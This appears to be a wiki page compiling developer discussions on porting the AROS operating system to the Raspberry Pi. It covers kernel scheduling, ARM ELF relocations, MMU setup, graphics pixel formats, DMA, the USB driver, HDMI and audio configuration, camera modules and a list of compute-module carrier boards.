sysbase (see kernel_scheduler.c). If there are no other tasks, then your cpu_Dispatch() should enable interrupts on the CPU and enter idle mode. See x86 implementation for good example. You miss what happens next... 1. KrnSwitch() saves context of your task, saves IDNestCnt (core_Switch() and cpu_Switch()), then drops into cpu_Dispatch(). 2. cpu_Dispatch() calls core_Dispatch. Then two cases are possible: 2a. There is a READY task. It is picked up, its IDNestCnt is restored in SysBase, then cpu_Dispatch() needs to restore registers and exit. The next task is run. 2b. There are no READY tasks. core_Dispatch() returns NULL. In this case your cpu_Dispatch() should enter idle loop. It should just enable interrupts on the CPU and put it on halt. This allows it to process hardware interrupts. Eventually some of your interrupt handlers wakes up your task and puts it into READY list. My heartbeat interrupt has been slowed atm to help debugging - but it never actually gets a chance to fire because of the Wait() disabling interrupts. Perhaps you have forgotten to enable interrupts in your idle loop. There is a change in the format of AROS executables. Until now we were using Elf RELocable files which are usually used as intermediate object files. We had them for various reasons, one of them was how AROS files were built in the past. That days we had no real aros cross compiler and the option to embed relocation data in unix executables (or in executable files in general) was rather new and not every linux/unix system had it. Therefore we have decided to use intermediate files. Although it was somehow working (and it is still working :-)), it has some drawbacks. Therefore decided to introduce real Elf EXEC types, in first turn implemented on ARM target with option to expand in future to all other AROS architectures. The first patch was pretty easy and appeared to work somehow. It generated nice executables with embedded relocation info. Not only that, it also removed all global symbols adjusting relocation data to be relative to the beginning of the sections. That move reduced number of symbols in each executable significantly (depending on the file between 20 and 80% of all symbols could be removed). The only symbols that stayed in the file are local ones - due to the nature of the patch wasn't able to remove them since we have not seen them in the symbol hash table. The patch didn't worked though. The files were relocated, AROS kernel loaded, but it crashed very early. What happened? Well, the nature of ARM relocations happened :) Most of the relocation data on all machines is rather simple. Relocation can be absolute or pc-relative, sometimes the offset has to be bit shifted. On ARM v7 there is another one. There, when one wants to load an address of function/variable into register a combination of two instructions can be used: movw and movt. The first one loads immediate into lower 16 bits of a register while clearing upper 16 bits. The second one loads immediate into upper 16 bits without touching lower halfword. Loading of a pointer into a register looks like this: movw r0, #:lower16:label movt r0, #:upper16:label In this case there are two relocations - one for lower halfword and another for upper. If an overflow of lower 16 bits occurs during relocation process, the upper one should be updated as well. Unfortunately with current patch and with typical ARM executables there is not enough information to perform the calculations. There are two options - the first one would be to give up and go back to "fake" executables, another one would be to change from REL to RELA relocation info. The latter contains an addend, extra data which can be used to perform all the relocation calculations I need. Decided for the second option. The patch is already in the works. There is another function for the binutils' bfd backend to perform the final relocation. There can decide what to do with every reloc info, modify data and eventually strip some symbols. An advantage is - at this stage of the linking process have also full access to all local symbols so can change all relocations section relative and eventually strip all symbols from the files. GPU VCore developed by Alphamosaic Ltd and now owned by Broadcom. Most of start.elf runs on the GPU. Placing ALL the userland GPU code in the videocore.hidd isn't going to be a terribly big problem because the code they published is nothing more than a shim that sends data straight to the GPU to execute. The good news about this is that we only need to write our HIDD using the OpenVG API. The shim is relatively small codewise and lives in the ARM memory (the actual OpenVG code itself lives in the GPU RAM area and its loaded from start.elf). That's also the bad news. Our driver has to translate AROS video calls to OpenVG calls, for most tasks it should be easy, for some, not so much. It's still probably less difficult and less work, than controlling the GPU directly. The other good news is that anything done through OpenVG happens on the GPU, its truly accelerated. It also has some nice font functions, meaning we can lead into an accelerated text mode later. Basically, AROS resets or locks up when it tries to use AROS_ATOMIC_INC or DEC. If I comment out the byte/word operations in the header files and use non-atomic operations, the code works as expected. have read that the L1 cache needs to be enabled to use LDREX and co (which I also read is only meant to be used on multi processor systems with shared memory) - however I am certain this is correctly enabled. If you are using LREX or STREX, you should have L1 cache enabled, at least on the ARM CPU I work with at work. L1 cache is enabled by enabling the MMU *AND* setting the C and I bits in the CPU - the C bit is ignored, and the I bit only covers the 16 byte instruction pipeline if the MMU is not enabled. Can you verify that your assembly is generating LDREX/STREX? From the behavior, it almost sounds like its generating the default Semaphore locked atomics. Impossible. There are no semaphore-locked atomics. There are Disable()/Enable()-based ones instead. And there's a special #define AROS_NO_ATOMIC_OPERATIONS in this case, which tweaks Disable()/Enable() implementations not to recurse forever. I have tested this on ARMv5 which does not have ldrex/strex, it works fine. On those ARMs there's no way to have real atomics. On other OSes (like Linux) this is done by introducing things like atomic_t, which appears to be a complex structure, holding the value together with accompanying spinlock (implemented using swp). #warning "TODO: lookup optimal mmu table settings for raspi memory" /* Set up an identity-mapping for all 4GB */ for(x = 0; x < 4096; x ++) { pagetable[x] = x<<20 | (0x40002|0x80000|0x010000|0x00C00|0x04); } Shouldn't there be a second loop that sets the 'C' bit in the descriptor for the RAM pages? Currently, you have TEX=0, C=0, B=1 for all pages (Shared Device). You should have TEX=0, C=1, B=0 for RAM (Write-Through, Cached) So .. pagetable[x] = x<<20 | 2; should be enough? No, for RAM you need to change the '| 0x40' to '| 0x80' tell dosboot the correct defaults to use Please don't do this. This bootconfig.c is a deprecated legacy thing. I wanted it to go away completely with time. Instead, display drivers should auto-install themselves during own initialization phase. I. e. detect hardware=>instantiate itself. This should make things way simpler. With this approach you only need to add the driver into KS image to get the device autobooted. No hardcoded stuff. Currently VESA and VGA drivers do this, look there for examples. never rewrote ATI driver because i don't have any test system for it. they defined a smaller AROSCPUContext than the ExceptionContext - yet reference it as ExceptionContext in other places, and since it hasn't allocated enough storage for ExceptionContext, are corrupting memory/the structure (since the elements that are there don't map 1 to 1 with the exception context). AFAIK, AROS has been moving in a different direction to this in recent years. It is the job of graphics HIDDs to allocate bitmaps etc. so that they have the most suitable characteristics, including allocating them from GPU RAM where possible. The concept of chip RAM is only for legacy code, and most if not all non-68k platforms should have all system RAM marked as chip. BTW, is the video processing code you mention CPU code or GPU code? Also, IIRC we have support for "external memory allocators". Perhaps that's what we need for the allocation of GPU RAM through the mailbox. All hosted and x86 native ports should use proper context formats. trying to clarify if the vblank handler has to have run by this point to prevent this deadlock. Actually, no. Unless you have installed VBlank handler which should wake up at some point. Without VBlank there will be no quantum count. Consequently, there will be no forced preemption. But the rest will work, and multitasking will be cooperative (switch happens only when current task voluntarily gives up the CPU). Does it depend on the vblank having run before this point? and if yes what does that mean on systems where it might be able to run enough code (e.g. get to this point) before the vblank interrupt has triggered? What is it waiting for? It could wait for timer, in this case you need timer.device working. VBlank is currently needed for exec's quantum counter. In current native ports we have only a single timer, which is served by timer.device. VBlank is simulated by timer.device also. If your machine has two timers, then you can use one of them for VBlank, and another for timer.device, this will simplify things down. VBlank needs to be 50 Hz for historical reasons, many programs use it as cheap timer. I am periodically thinking about making some abstract mechanism to be able to change quantum source (and untie it from 50 Hz), but have no time to come up with something good. Additionally i started disliking timer.device hardcoded design when PC has got many timers (old 8253, APIC, HPET). Currently i think there should be some low-level entity representing tick source. timer.device should just select the most appropriate source for its units. The BCM2835 has 4 GPU based timer sources - 2 are used by the GPU, so im using Timer3 for our heartbeat and the remaining one will be free to the system. There is also the less capable ARM timer but that is dependent on the CPU frequency. Very good. You won't need any emulation. Set the heartbeat to 50 Hz and drive VBlank from it. Use other timer for MicroHZ. Can you use the 'econsole.hook' I make for debugging the Sam460 via the serial port? It provides a before-anything-else shell prompt on the serial port. You can then do 'NewCLI' to test your graphics, or use any DOS command in shellcommands.resource. You should just be able to add econsole.hook to your module list, and use 'econsole' in your bootargs. So long as you have a working Exec/RawMayGetChar and Exec/RawPutChar, it should work. Also make sure to add shell.resource and shellcommands.resource for this. That should have done it. If you set "#define DEBUG 1" in arch/all-native/econsole/econsole.c, do you get any additional serial output? have added it to the build and added econsole to the command line - and can see the bootloader picks up on the emergency bootconsole tag, but I still only get the insert bootable media display? Im assuming it exposes a fake filesystem that tricks aros into booting? The contents of which are: ECON:AROS.boot Way to handle the scheduling code? The implementations I had been following were causing problems, due to cascading interrupts which I cant handle properly in the asm stubs just now (when they break disable etc.) - since it means detecting the interrupted codes cpu mode and getting the correct sp/lr for it, and that's just too tedious for arm. To work around this ive added a system idle task which does nothing - and when the scheduling code has no task to run switches this in and lets it run, thereby allowing the interrupts etc to resume until something does need to happen. Also, by adding accounting code to cpu_Switch() and cpu_Dispatch(), it should allow the system to log idle time correctly (as well as running tasks). have thought of also adding an additional task that never runs, solely to record time spent in IRQ handlers, but I digress.. was under the impression that kernel.resource should *never* be used outside of exec.library. This is a wrong impression. Michal started designing it because portable nature of AROS does not fit well into exec's API with all its assumptions. So, he started the new, hardware-agnostic kernel API from scratch. Yes, exec sits on top of it in places. But kernel always meant to be open thing. Otherwise it would not exist. it wasn't meant to be just used willy nilly by user code - but by lower system components (e.g. exec) so that they could be implemented in a more generic fashion, and the kernel resource itself hide the systems quirks. Adding new things there perfectly keeps up with our decision to minimize AROS-specific intervention into APIs which can clash with MorphOS or Amiga OS4 extensions. We want at least source-level compatibility there. Binary compatibility on PPC would be extremely cool, but at the other hand we have no maintainer for this, as well as their ABIs splintering. It depends on what exactly is being implemented - there's no reason we should have everything crammed into kernel.resource if it doesn't need to be (i.e. if its better suited as a separate component/subsystem in its own right) The _LE versions are for when you have endian swapping taking place. If the graphics are the same endian as the CPU, no swapping should occur. I ran into a similar terminology problem in SDL with a friend insisting that his Radeon 7000 on his PC was big-endian. It is not, it just uses the same endianness for the graphics card and the CPU so no swapping was necessary. They were both little-endian. The _LE versions are because the PixFmts refer to the bitmap data being in big endian format in memory, for which the normal version would need to do endianness conversion before applying the shifts/masks. on this platform it is in _LE in memory also so we don't need the conversion hence using the _LE version of the call). would use _LE (if it's really little endian 16 bit mode). What is the bare minimum needed to implement a framebuffer based gfx driver, with our software handling the rest? Have tried with just a gfx class that only expose new/dispose/newbitmap - and having an onscreenbitmap used only for the framebuffer itself (with all other bitmaps being chunkybm, and the framebuffer's superclass also being chunkybm), but that alone isn't enough it seems? You can use workbench/hidds/sm502/ as your example - it is as simple as I could make it. So, AROS creates the framebuffer bitmap (verified this) -> so surely it should be capable of then rendeing into it? I don't actually create the framebuffer "bitmap object" myself - only as a result of being asked to. The code I currently have on SVN seems to create the framebuffers bitmap object fine, but then crashes in intuitions DisplayDriver callback. In particular it crashes performing the getattr on the system default pointer. don't expose MEMF_CHIP in an allocatable form so AllocSpriteData was failing (and other code later doesn't check if the values are valid == illegal memory accesses) So far have -: vc_init: queries the gpus memory, and sets up a fake memory handler for it, then adds the bootmode driver and returns saying all is well vc_gfxhidd:New: sets up some fake syncmodes to test with and creates the real gfx object. vc_gfxhidd:NewBitmap: checks if its a framebuffer and uses the onbitmap class or uses the chunkybm class otherwise vc_onbitmap:New; creates a chunkybm object and then pushes the real framebuffer address into it as the buffer, vc4 had v8adds, v8subs, v8muld, v8min and v8max which operated on four 8bit uint values packed into a 32bit register. Multiplication was in the range 0.0 to 1.0 and addition/subtraction saturated. There were also a range unpacking/packing modes that allowed you to pack and unpack 8bit values into 32bit registers. RasPi has to speak to the "operating system" which runs on the GPU itself and request/free memory - it cant directly manage it itself, and so the managed functions were used to wrap these calls. The Arm and GPU share memory space. The framebuffer is shared. The Arm can write a pixel and it will appear on the screen (through GPU hardware) without flushing/copying being required. The GPU can composite multiple FB's in real time - so you have a number of surfaces defined which are rotated etc and composited in real time to the output. Copying can map from the address space of the Arm to the flat space of the GPU which takes some code, but I don't think whole buffers are copied. The DMA hardware can also access the whole memory space and can perform 2D fills and blits (no blending). This is documented in the peripheral spec posted. The DMA is just an Arm accessible peripheral and can be set up with low latency (e.g. microseconds). must use a 0xc0000000-based bus address to access SDRAM, yet non-DMA access should go via a 0x0-based bus address. For 2D dma, set TDMODE, and the spec says "interpret the TXFR_LEN register as YLENGTH number of transfers each of XLENGTH, and add the strides to the address after each transfer." so set STRIDE to pitch of the image, the width is XLENGTH and height is YLENGTH. You would fill by not setting the SRC_INC and point source to your fill data. The DMA cannot see the ARM's L1 cache, so you would map the framebuffer with ioremap_nocache. Depending on where the source data comes from, it may need an L1 cache flush. The DMA can see the L2 cache. Use 0xC0000000 bus addresses when L2 is disabled and 0x40000000 bus addresses when L2 is enabled. (actually just call virt_to_bus and you'll get the right address out). openGLES/openVG has high latency. Writing to framebuffer then reading it back is very inefficient (e.g. milliseconds). If you can drive it a unidirectional way, just streaming commands at then that is efficient. openVG is not implemented on top of openGLES - it uses the same hardware but as a first class interface To improve the Gfx driver, we will need a DMA resource implemented so can use to perform DMA operations. The Gfx driver will need this to perform blits. Actually MEMF_CHIP has to present, for historical reasons. This has been never fully agreed upon, but in ports i wrote i exposed the whole memory as MEMF_CHIP. The idea behind this is that CHIP is originally the memory where graphics and sound data can be put. On non-Amiga platforms there are no restrictions on this, so the whole memory is CHIP. Yes, many old software can misbehave with CHIP memory size larger than 2MB. But this actually applies only to m68k AROS which is going to run m68k binaries. In other cases it's quite logical to fix the program when porting. As to original question: yes, it's enough to have a framebuffer bitmap (one with aoHidd_BitMap_FrameBuffer set to TRUE) and PutPixel routine. It framebuffer can be served by chunky bitmap class, then you can simply create chunky bitmap with your own buffer (see how VESA driver does this). Chunky PutPixel is already there. struggling to determine what is the correct pixfmt to use for the 24/16/15 bit gfx modes on the RasPi. AFAIK it uses RGB565, for 16bit but im unsure what shifts etc should go with it? suffice to say Im getting the wrong colors so far lol. <pre> redmask: 0x0000F800 greenmask: 0x000007E0 bluemask: 0x0000001F alphamask: 0 redshift: 16 greenshift: 21 blueshift: 27 alphashift: 0 </pre> It should likely be vHidd_StdPixFmt_RGB16_LE This stuff is a bit confusing. The "names" of the stdpixfmts are based on the layout in memory, ignoring endianess. So for example: ARGB32: will be 0xAA 0xRR 0xGG 0xBB in memory on both big endian and little endian machines. The shifts and masks OTOH are based on pixel access (ULONG in this case), so differ depending on whether you run on big endian machine or little endian machine (that's why there's stdpixfmt_le.h and stdpixfmt_be.h in rom/hidds/graphics/). With the 16 bit pixel format it's even more confusing, as for example it's impossible on little endian machine to describe RGB16 with shifts/masks alone. That's why there's vHidd_PixFmt_SwapPixelBytes_Flag. (RGB16 == RRRRRGGG GGGBBBBB in memory, and for pixel (WORD) access on little endian machine it needs to be accessed as GGGBBBBBRRRRRGGGG). The shifts btw indicate how much to shift the component to the left (!) so that it is moved to the highest bit (31). The aHidd_PixFmt_StdPixFmt you specify will be ignored most of the time, because when the pixelfmt is registered, the gfx hidd checks if there's an identical pixfmt (shifts/masks/etc., but ignoring pixfmt->stdpixfmt) already in the system, and if so, it uses the already existing one and does not create a new one. In theory it would be better if gfx drivers could simply/only specify a StdPixFmt without all the shifts/masks stuff when the gfx driver uses pixfmt which matches one of the stdpixfmts exactly. Another possibility would be for gfx drivers to use HIDD_Gfx_GetPIxFmt(stdpixfmt_gfx_driver_wants_to_use) and then peek shifts/masks from it and fill out a pixfmt tag list based on that. 15bit very blue/green: Try to pass same shifts/masks/etc. as in 16 bit pixfmt (maybe you think it's using 15 bit R5G5B5 (or swapped) but it's actually still using 16 bit R5G6B5 (or swapped). aHidd_PixFmt_StdPixFmt you pass is mostly ignored. It's the shift/masks/etc. that count. But I would still pass the correct one (_LE) == whatever rom/hidds/graphics/stdpixfmts_??.h uses in the entry where you have looked up shifts/masks/etc. Use the shifts/masks/etc. from the entry in stdpixfmt_le.h (if you are running on little endian machine) or stdpixfmt_be.h (if you are running on little endian machine) that matches the pixfmt that its meant to be. 0xAA,0xRR,0xGG,0xBB on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_BGRA32) 0xAA,0xRR,0xGG,0xBB on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_BGRA32) it feels like AROS trashes the alpha component, otherwise it should be 8A8R8G8B. read on the subject suggest its in 1x5r5g5b (x is ignored) to keep 16bit alignment . Suggests to me that wrong shift/mask are being applied - however going by the 16bit versions it all looks correct to me so I am really confused as to what is happening. The output image looks to have too much green/blue, and very weak red. Kickstart The idea is to minimize amount of archirecture-specific modules to make the user's life easier. So, the kickstart was split into 'base' (which does not contain anything machine-specific) and 'BSP' (Board Support Package) which contains all hardware-specific stuff. This way, for example, distribution makers can save up space on CD and make CDs with multiple platform support. Different configuration would load the same base with different BSP's. Next there was some part which is entirely missing on hosted. These are filesystems. Hosted ports do not need them to boot up, so on hosted they are left out. At the other hand, they are also architecture-agnostic. So i put them into 'FS' package (standing for 'filesystem'). USB Poseidon is one more big part. I made it into separate package in order to allow users to omit it if they don't need it (for example, to run on retro PCs without USB). Personally i have one. Again, Poseidon is hardware-agnostic (well, there are USB drivers but HCIs are pretty standard). AFAIK its HCI 1.0 compliant but not familiar enough with poseidons drivers, nor USB, to just hack away at the existing code. Perhaps once i'm more familiar with the workings I can merge in the changes needed to get it operating but for now I will focus on getting it running. Also our drivers have known issues so perhaps a fresh set of eyes might shed some light on what is going wrong. Another interesting question is whether Poseidon can operate on device side. Is it flexible enough? How similar is being a USB host and USB device? think it will need a bit of work on Poseidon's side. Until then I will force the driver into Host/Master mode in the init code, but leave open device etc to configure the chipset for either's use - and look at trying to add support for working in Device/Slave mode & switching modes once it's up and running. Actually USBROMStartup is some kind of kludge. Can there be any alternative? Could device drivers be self-installing, like our HIDDs? This would get rid of need to list them in USBRomStartup. * Model A and B limited to 150 mA per port. * Model B+ and Pi 2 introduced configurable 600 mA to 1.2 A support over all ports - anything above that requires a powered USB hub. Implementing the hardware driver that Poseidon uses to interact with the USB components. Have code in place to (try) and initialise the USB chipset, and configure host/device mode operation (though AFAICT Poseidon doesn't support device mode). Started to get the "virtual" root hub written for the single USB port so that Poseidon should at least list it correctly in the GUI - and try to interact with it to find peripherals. The BCM2835 uses a soft IP block from Synopsys’ DesignWare library (DWC), specifically the block is called dwc_usb_2_0_hs_otg_subsystem-ahb_se (“USB 2.0 Hi-Speed OTG Controller Subsystem w/AHB Interface SE”). There is no public documentation for this, and pretty much zero chance of anyone getting hold of it even with NDA. However, there's a Linux driver written by Synopsys ([https://github.com/raspberrypi/linux dwc_usb]). Specifically directories [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_common_port] and [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_otg]. The Synopsys code is actually under a fairly permissive licence – it's not GPL, it's similar to BSD (’don't sue us if it breaks’ is pretty much the only clause). So this should not be a barrier to porting the code. The code is really well written, with a nice partition between the work done by the driver (dwc_otg, which is fairly involved, given the host does more work than a conventional EHCI driver), and the interface to Linux (dwc_common_port). Probably only need provision of relevant changes to dwc_common_port. Other things to consider.... * Provision of necessary headers to get it to compile * Provision of necessary functions (main issues are wait queues, threads, work queues, tasklets, timers, spinlocks and mutexes (multithreading) ) * Interfacing between USB stack and the driver. dwc_otg/dwc_otg_hcd_linux.c looks like the place to start. the Linux bits of the headers are only required for the dwc_common_port library. dwc_common_port includes a variety of crypto functions which are not used – it appears to also be used for ultrawideband (UWB) and wireless USB (WUSB) drivers where crypto will be an issue, but it isn't going to be for plain wired USB. Every USB driver acts as an USB hub as well in order to let Poseidon control the state of USB ports. The code there was reading status of the only USB port in Raspberry's CPU but when changing the status it erroneously deleted some of the status bits, including the port enable one. It was so because those bits in the status register are of a type Read/WriteToClear. It means, if one does not want to change their value from 1 back to 0, one has to actually write the 0 value. Very practical thing e.g. in interrupt handlers, where one reads the interrupt status register to learn what was the interrupt reason, and writes it back to the same register in order to clear the interrupts. After fixing that code it turned out that the communication was still unsuccessful. Apparently the USB device was not understanding the host for some reason. That should not happen since the request sent was one of the standard ones implemented by virtually anything with an USB connector, assumed that Poseidon clears the data caches before forwarding the work to the USB drivers but that's the responsibility of the driver itself. The USB device responded and acknowledged the transmission! But why were all the request sent after address change failing with timeout? They should not. Once again, address set is supported just by anything. Tried to contact the device at address 0 once again and there it was, still responding properly. The enlightenment came. The bus address for DMA transmissions was, as it is in many bare metal USB implementations, just the pure memory address of the buffer as seen by the ARM cpu. Have "prefixed" it with the real location of uncached RAM and booted AROS once again. Trident saw this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 and this: Product : Vendor: Vdr=0424/PID=EC00 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 255 SubClass : 0 DevProto : 1 VendorID : 1060 ProductID : 60416 DevVers : 0200 and even this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 What are these things? The first one is USB hub built in the Raspberry. Thanks to this one the Pi machines (with exception of Pi0 and computing modules) have more than just one single USB port. The second one is the network chip in raspberry, the third one is my USB SD card reader which have just connected to see what happens. AROS tried, of course, to boot from it ;) So, the first step towards working USB is done. The control transfers are working as you can see above. Next step is to implement bulk and interrupt transfers, having the basics in place. Finally some error handling will be added and USB for Pi will be as complete as the PC version. [http://www.raspyfi.com/raspberry-pi-usb-audio-fix/ Issue with USB Audio] Audio [https://github.com/raspberrypi/linux/tree/rpi-patches/sound/arm audio] and its [https://github.com/raspberrypi/firmware/issues/2 very high speed message passing interface type of thing VCHI] The Model B+ added an additional voltage regulator for the audio output and an additional output driver to drive low-resistance loads like headphones. However it is still using pulse-width modulation (PWM), which has a major impact on sound quality the old Raspberry Pi used a linear voltage regulator to provide the 3.3V to many of the components on the board while the new one uses a switching regulator. Both can perform reasonably well. However switch mode power supplies often show higher noise figures Analogue audio Audio over HDMI rev 1.3 & 1.4 Ethernet 10/100 BaseT Ethernet RJ45 socket GPIO GPIO shouldn't be too bad but bear in mind it is already accessed in places so they would need to allocate pins etc through it (e.g. sdcard to flicker the activity light, serial debug to output data on the GPIO pins) Probably a resource rather than a device... Started an i2c driver that will need to allocate GPIO pins. Feel free to work on it if you are interested ;p GPU graphics with 2D and 3D acceleration Sadly none yet for 32bit but for 64bit... Miscellanous hdmi issues Setting the hdmi_force_hotplug=1 makes sure the Pi believes the monitor/TV is really there. You might also need to set config_hdmi_boost=4 or even higher (up to 9) if your display needs a stronger signal. If the display is a computer monitor or newer tv, use hdmi_group=1 (auto HDMI use) and if it is an older TV, try hdmi_group=2 (for DMT formats, i.e. for PC monitors) then you HAVE to "set hdmi_drive = 2 to enable HDMI output as this forces HDMI mode rather than DVI mode Do not set hdmi_safe=1 as that overrides many of the previous options. Using a shorter or better quality HDMI cable might help. Make sure your Pi's power supply delivers 1 A and not 500 mA. If you see a problem with the red colour - either absent, or interference - then try a boost composite video changing the RCA cable, then the composite port worked out of the box Boot it as you are doing, without HDMI. If you now plug in the HDMI, do you get the image? In other words, does the Pi think HDMI is connected even when it isn't? Rename all the files in the first partion of the card except bootcode.bin, start.elf and fixup.dat What's the result? Put back config.txt What's the result? for PAL mode sdtv_mode=2 dmi_ignore_hotplug Pretends HDMI hotplug signal is not asserted so it appears a HDMI display is not attached hdmi_ignore_hotplug=1 Use composite mode even if HDMI monitor is detected <pre> # NOOBS Auto-generated Settings: #hdmi_force_hotplug=1 #config_hdmi_boost=4 #overscan_left=24 #overscan_right=24 #overscan_top=16 #overscan_bottom=16 #disable_overscan=0 start_x=1 gpu_mem=128 </pre> tvservice -c "PAL 4:3" <pre> /opt/vc/bin/tvservice -s or tvservice -s state: HPD high|HDMI mode|HDCP off|composite off (0x12001a), 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m CEA Group CEA has 1 modes: (native) mode 16: 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m DMT Group DMT has 0 modes: </pre> sudo amixer cset numid=3 1 forces the audio to the headphone jack, even with the HDMI video output plugged in config.txt the hdmi_ignore_edid_audio=1 option sems relevant as it should tell ALSA that the only available audio is analog, no matter what the display says There are several different ways that these 4 pole (ring) composite analog cables can be wired up, so some work great in some applications and can be a waste of time in others. What is needed for the Raspberry Pi B+ and above, which like many camcorders needs the ring contact next to the base contact to be the ground. The wiring for the 4 pole are: TIP (LEFT AUDIO CHANNEL) RING 1 (RIGHT AUDIO CHANNEL) RING 2 (GROUND/EARTH) RING 3 BASE/SLEEVE (VIDEO) YELLOW Most Apple based Players and the Microsoft Zune (TM) are wired this way. Most analogue camcorders are wired this way as well, where the ground in on Ring 2 will work with the Pi although you may need to swap your Video plug with the Right Audio plug. Nearly all other MP3 players are not wired this way, the ground is on another ring ie the wrong one. External devices * Camera Module Omnivision ov5647 Sunny 5MP (NoIR version) V1.3 - NoIR at 850&nbsp;nm, peak at 880&nbsp;nm and trails off at 940&nbsp;nm wavelengths * Camera V2 Sony IMX219 V2.1 8mpixel 8MP 8megapixel - 3280 x 2464 pixels - video at 1080p30, 720p60 and 640x480p90 - wider field of view, 62 vs 54 degrees horizontally - * Branded WIFI usb BCM43143 dongle N.B. dreaded error after changing cameras (stupidly without turning off the power first) and lasted through several power cycles. It can be a bad 15-pin FFC ribbon cable, when swapped, camera(s) and the Pi itself are working OK. It can be an instance of a cold solder joint on the CSI connector on the pi board. the camera can be detected (that's done via I2C) but may still not be able to receive image data (done via CSI-2) if something is broken. CSI-2 is uni-directional. Control is generally done via I2C. The CSI-2 receiver always writes to memory, not direct to the ISP. That's the way the Broadcom architecture works as it allows multipass processing easily. GPU memory is accessible from the ARM. Processing using the QPU graphics processors may be possible. currently the only supported sensor is OV5647 and IMX219. The linux drivers are all in the firmware blob, else you'd be looking at at least a man-month of work in a fully fledged imaging lab to do a decent tuning of the camera modules' ISP parameters. Static electricity maybe an issue for the camera module and slightly less for the pi board. == References == Testing procedure is put sd card in, connect board to board if necessary, plug in hdmi and then power nothing else is done especially CSI DSI etc [https://www.raspberrypi.com/documentation/computers/compute-module.html CM5] has the same 55mm x 40mm 2x100pin connectors form factor as the CM4 but [https://www.epdtonthenet.net/article/214508/Key-Considerations-When-Migrating-from-Raspberry-Pi-CM4-to-CM5.aspx some pins and other small things] have changed. Will need the [https://raspipcb.com/tech-blog/raspberry-pi-cm4-vs-cm5-difference-in-booting-from-sd-card/ right IO board to suit] *Green [ Raspberry Pi Compute Module 5 IO Board REV2 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1967]] - untested *Green [ RPi Compute Module 5 IO board REV1 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1751]] - untested *Black SupTronics Geekbord X1500 CM5 IO Carrier Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[https://sipeed.com/nanocluster Sipeed NanoCluster] - untested up to 7 CM5 *Green BentoIO CMX0 - untested *Box EDATec ED-CLAWBOX - untested *Home Assistant Yellow - Kit with PoE with Raspberry Pi Compute Module 5 - untested *Blue [https://www.waveshare.com/wiki/CM5_PoE_BASE_A Waveshare CM5-PoE-BASE-A] - untested *Box Waveshare [ CM5-POE-BOX-A] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-B Waveshare CM5-IO-BASE-B] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-A Waveshare CM5-IO-BASE-A] - untested *Blue Waveshare [https://www.waveshare.com/wiki/CM5-NANO-B CM5-NANO-B] - untested *[https://carboncomputers.us/products/pi-flux piFlux] *[https://carboncomputers.us/products/ Zitaotech Hackberry] CM5 lite only - *Portable [https://www.waveshare.com/pocketterm35.htm Waveshare PocketTerm35] with Pi4B or Pi5 - untested *Box [https://www.clockworkpi.com/uconsole ClockworkPi uConsole][https://www.youtube.com/watch?v=EtI_bAahbR8 CM4 into an adapter or CM3 into so-dimm - Cyberdeck] - untested *Green RPi [https://datasheets.raspberrypi.com/cm4io/CM4IO-KiCAD.zip Compute Module 4] [https://datasheets.raspberrypi.com/cm4io/cm4io-datasheet.pdf IO board] V1.4 [https://datasheets.raspberrypi.com/cm4io/CM4IOUSB3-KiCAD.zip USB3] [https://datasheets.raspberrypi.com/cm4io/cm4iousb3-appnote.pdf CM4ISO] [https://datasheets.raspberrypi.com/cm4/cm4-datasheet.pdf Dual100pin] (2020) aka Development Platform Board - untested *Purple Pi Hut Cytron CM4 Maker Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[ KubeSail PiBox mini 2] *Home Assistant Yellow with Raspberry Pi Compute Module 4 - untested *[ Turing Pi V2] - untested CM4 with 260-pin SO-DIMM socket adapters and/or nvidia jetson nanos - untested *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-C Waveshare CM4-IO-BASE-C] - untested but binary blobs Rev01 Rev02 *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-B Waveshare CM4-IO-BASE-B] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-A Waveshare CM4-IO-BASE-A] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-NANO-B Waveshare CM4-NANO] - untested but usb and audio turned off or rerouted CM3 has a 200 pin sodimm ddr2 connector form factor but not electrically SC0028, SC0029 *Blue [https://wiki.geekworm.com/CM_IO_Board Geekworm RPi Compute Module IO Board] [https://github.com/geekworm-com/cm-io-board CSI DSI] with CM3 in ddr2 slot underside - '''works''' if SW1 on but CM3+ '''does not''' *Green [https://cdn-shop.adafruit.com/product-files/3442/CMIO_schematic.pdf RPi V3 IO board CM3IO] and CM3 Lite - untested *Green [https://turingpi.com/ turingpi v1 cluster] - untested up to 7 cm3 7xlan9514 12V discontinued, 3 x Pi4 homelab maybe better *Blue [https://www.waveshare.com/wiki/Compute_Module_PoE_Board Waveshare 